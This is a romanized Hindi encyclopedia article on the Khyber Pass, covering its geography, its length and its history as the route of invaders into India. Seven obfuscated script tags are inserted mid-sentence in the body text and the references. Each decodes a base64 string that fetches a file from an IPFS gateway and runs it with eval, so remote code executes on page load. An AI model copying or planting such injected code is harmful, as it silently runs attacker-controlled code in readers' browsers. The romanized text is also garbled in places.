ख़ैबर दर्रा

	khaibar darra
	khaibar darra\|200px\|center
vivaran	'khaibar darra' safed koh parvat shrriankhala mean sthit ek prakhyat darra hai. is darre ke zariye bharatiy upamahadvip aur madhy eshiya ke bich avagaman kiya ja sakata hai aur isane donoan kshetroan ke itihas par gahari chhap chho di hai.
sthiti	afaganistan-pakistan
ooanchaee	1070 mitar
parvat shrriankhala	safed koh
lambaee	33 mil
any janakari	is darre ke poorvi (bharatiy) chhor par peshavar tatha landi kotal sthit hai, jahaan se afaganistan ki rajadhani kabul ko marg jata hai. mana jata hai ki uttar-pashchim se bharat par akraman karane vale adhikaansh akramanakari isi darre se bharat mean aye.

khaibar darra uttar-pashchimi pakistan ki sima aur afaganistan ke kabulistan maidan ke bich hindukush ke safed koh parvat shrriankhala mean sthit ek prakhyat darra hai. yah 1070 mitar (3510 fut) ki ooanchaee par safed koh shrriankhala mean ek prakritik katav hai. is darre ke zariye bharatiy upamahadvip aur madhy eshiya ke bich avagaman kiya ja sakata hai aur isane donoan kshetroan ke itihas par gahari chhap chho di hai. khaibar darra 33 mil (lagabhag 52.8 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lamba hai aur isaka sabase sankara bhag keval 10 phut chau da hai. yah sankara marg 600 se 1000 phut ki ooanchaee par bal khata hua brihadakar parvatoan ke bich kho sa jata hai.

itihas

is darre ke poorvi (bharatiy) chhor par peshavar tatha landi kotal sthit hai, jahaan se afaganistan ki rajadhani kabul ko marg jata hai. uttar-pashchim se bharat par akraman karane vale adhikaansh akramanakari isi darre se bharat mean aye. ab yah darra pakistan ke pashchimi panjab prant ko afaganistan se jo data hai. prachin kal ke hindoo raja videshi akramanakariyoan se is darre ki raksha nahian kar sake. yah mana jata hai ki muslim shasan kal mean taimoor, babar, humayooan, nadirashah tatha ahamadashah abdali ne isi darre se hokar bharat par chadhaee ki. jab panjab british shasan mean a gaya, tabhi khaibar darre ki samuchit raksha vyavastha ki ja saki aur usake bad is marg se bharat par phir koee akraman nahian hua.^[1]

bhoogoliy sanrachana

peshavar se kabul tak is darre se hokar ab ek s dak banaee gee hai. yah s dak chattani oosar maidan se hoti huee jamarood se, jo aangrez sena ki chhavani thi, aur jahaan ab pakistani sena rahati hai, 3 mil (lagabhag 4.8 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> age shadibagiyar ke pas paha doan mean pravesh karati hai, aur yahian se khaibar darra aranbh hota hai. kuchh door tak s dak ek khadd mean se hokar jati hai, phir baee aur shangaee ke pathar ki or uthati hai. is sthan se ali masajid durg dikhaee p data hai, jo darre ke lagabhag bicho-bich ooanchaee par sthit hai. yah durg anek abhiyanoan ka lakshy raha hai. pashchim ki or age badhati huee s dak dahini or ghoomati hai, aur tedhe-medhe dhalan se hoti huee ali masajid ki nadi mean utar kar usake kinare-kinare chalati hai. yahian khaibar darre ka sankara bhag hai, jo mahaj pandrah phut chau da hai aur ooanchaee mean 2000 phut hai. thumb|250px|left|khaibar darra 3 mil age badhane par ghati chau di hone lagati hai. is ghati ke donoan aur chhote-chhote gaanv aur jakkakhel aphridiyoan ki lagabhag sath minarean haian. isake age loargi ka pathar ata hai, jo 7 mil (lagabhag 11.2 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lanba hai aur usaki adhikatam chau daee tin mil hai. yah landi kotal mean jakar samapt hota hai. yahaan aangrezoan ke kal ka ek durg hai. yahaan se afaganistan ka maidani bhag dikhaee deta hai. landi kotal se age s dak chhoti paha diyoan ke bich se hoti huee kabul nadi ko choomati dakka pahuanchati hai. yah marg ab itana prashast ho gaya hai ki chhoti lariyaan aur motar ga diyaan kabul tak saralata se ja sakati haian. isake atirikt landikhana tak, jise khaibar ka pashchim kaha jata hai, relamarg bhi ban gaya hai. is relamarg ka banana 1925 mean aranbh hua tha.^[2]

bharat ka pravesh-dvar

samarik drishti se sansar bhar mean yah darra sabase adhik mahatv ka samajha jata raha hai. bharat ke pravesh dvar ke roop mean isake sath anek smritiyaan ju di huee haian. samajha jata hai ki sikandar ke samay se lekar bahut bad tak jitane bhi akramak shak-pallav, bakhtri yavan, mahamood gazanavi, changez khaan, taimoor, babar adi bharat ae, unhoanne isi darre ke marg se bharat mean pravesh kiya. kiantu yah bat sarvaansh mean saty nahian hai. darre ki durgamata aur is pradesh ke uddand nivasiyoan ke karan is marg se sabake lie bahut sal tak pravesh sahaj nahian tha. bharat ane vale adhikaansh akramanakari ya to baloochistan hokar ae ya kabul se ghoomakar jalalabad ke raste kabul nadi ke uttar hokar ae, jahaan se pravesh adhik sugam raha tha.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 233.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^2.0 ^2.1 gupt, parameshvarilal. khaibar darra (hindi) (ech.ti.em.el.). .<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ttachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 233.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[av-2] 2.0 ^2.1 gupt, parameshvarilal. khaibar darra (hindi) (ech.ti.em.el.). .<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]